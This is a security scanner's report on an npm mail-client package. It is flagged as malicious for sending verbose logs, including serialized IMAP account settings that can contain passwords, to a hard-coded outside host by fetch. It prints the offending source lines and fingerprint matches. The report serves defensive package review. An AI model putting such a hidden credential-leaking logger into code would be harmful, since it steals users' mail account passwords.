@bobfrankston/mailx-store-web@0.1.90: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.90: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.121 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.121 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.95 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.95 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

54/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg: string): void { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ } }

High

Ai Review Evidence

The Android bootstrap sends verbose logs to a hard-coded third-party host.

android-bootstrap.tsView on unpkg · L54

1535for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

Startup logs serialize each account's IMAP configuration, which can include its password.

android-bootstrap.tsView on unpkg · L1535

161const provider = new ImapWebProvider({ server: account.imap.host, port: account.imap.port || 993, username: account.imap.user, password: account.imap.password, inactivityTimeout: 300000, // 300s for slow Dovecot fetchChunkSize: 10, fetchChunkSizeMax: 100, }, () => new BridgeTcpTransport());

High

Ai Review Evidence

The same file reads account.imap.password to configure IMAP access.

android-bootstrap.tsView on unpkg · L161

Source & flagged code

6 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.121 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.121 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = e1734c4f68f337b9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.95 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.95 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

Lines 34-74typescript

34let syncManager: AndroidSyncManager;

35const eventHandlers: ((event: any) => void)[] = [];

36

37// ── Event emitter ──

Lines 141-181typescript

141 // recreating the provider each time built a fresh ImapWebProvider +

142 // BridgeTransport and replaced the live one — which orphaned any

143 // body fetch in flight on the old provider, so `fetchOne` came back

144 // with no source and the message showed "Body parsed empty". A real

145 // config change is rare and handled by a restart.

146 if (this.providers.has(account.id)) {

147 vlog(`addAccount ${account.id}: provider already registered — keeping it`);

148 return;

149 }

150 if (this.isGmailAccount(account)) {

151 const tokenProvider = this.tokenProviders.get(account.id);

152 if (tokenProvider) {

153 this.providers.set(account.id, new GmailApiWebProvider(tokenProvider));

154 console.log(`[sync] ${account.id}: Gmail API provider registered`);

155 } else {

156 console.warn(`[sync] ${account.id}: no token provider`);

157 }

158 } else if (account.imap?.host && account.imap?.user) {

159 // Generic IMAP account — use BridgeTransport through MAUI's TCP bridge

160 try {

161 const provider = new ImapWebProvider({

162 server: account.imap.host,

163 port: account.imap.port || 993,

164 username: account.imap.user,

165 password: account.imap.password,

166 inactivityTimeout: 300000, // 300s for slow Dovecot

167 fetchChunkSize: 10,

168 fetchChunkSizeMax: 100,

169 }, () => new BridgeTcpTransport());

High

Ai Review Evidence

The same file reads account.imap.password to configure IMAP access.

android-bootstrap.tsView on unpkg · L161

170 this.providers.set(account.id, provider);

171 this.imapAccountConfigs.set(account.id, account);

172 vlog(`addAccount ${account.id}: IMAP provider registered (${account.imap.host}:${account.imap.port})`);

173 console.log(`[sync] ${account.id}: IMAP provider registered (${account.imap.host})`);

174 } catch (e: any) {

175 vlog(`addAccount ${account.id}: IMAP provider FAILED: ${e.message}`);

176 console.error(`[sync] ${account.id}: IMAP provider failed: ${e.message}`);

177 }

178 } else {

179 vlog(`addAccount ${account.id}: no imap config, skipping`);

180 }

181 }

Lines 1515-1555typescript

1515 console.warn(`[android] List folder failed: ${lr.status}`);

1516 }

1517 } catch (e: any) {

1518 console.warn(`[android] List debug: ${e.message}`);

1519 }

1520 // Shared allowlist/preferences: pull NOW that Drive auth is

1521 // live, instead of waiting for the first message read to

1522 // trigger the lazy revalidate (which is itself served stale).

1523 primeSharedConfigs()

1524 .catch(e => console.warn(`[android] prime shared configs: ${e?.message || e}`));

1525 // Read accounts directly from GDrive (bypass IndexedDB cache)

1526 narrate("Loading accounts from Google Drive…");

1527 const gdriveAccounts = await loadAccountsFromCloud();

1528 console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`);

1529 if (gdriveAccounts.length > 0) {

1530 // Use canonical GDrive accounts (upsert handles overwrites)

1531 accounts = gdriveAccounts;

1532 const enabled = accounts.filter(a => a.enabled);

1533 narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`);

1534 let setUp = 0;

1535 for (const account of accounts) {

1536 vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

Startup logs serialize each account's IMAP configuration, which can include its password.

android-bootstrap.tsView on unpkg · L1535

1537 if (!account.enabled) {

1538 vlog(`init: ${account.id} disabled, skipping`);

1539 continue;

1540 }

1541 narrate(`Setting up ${account.email || account.id}… (${++setUp}/${enabled.length})`);

1542 const domain = account.email?.split("@")[1]?.toLowerCase() || "";

1543 if (domain === "gmail.com" || domain === "googlemail.com") {

1544 syncManager.setTokenProvider(account.id, createNativeTokenProvider(account.email));

1545 }

1546 await syncManager.addAccount(account);

1547 }

1548 console.log(`[android] Loaded ${accounts.length} accounts from GDrive`);

1549 // C157: sync NOW. The boot-time syncAll ran before these

1550 // providers existed (fresh install: zero local accounts),

1551 // so without this kick the folder tree stayed empty until

1552 // the next 60 s poll tick — on top of OAuth consent time,

1553 // that read as "frozen for minutes". syncAll's inbox

1554 // phase lists folders first, so the tree paints in

1555 // seconds; message counts stream in behind.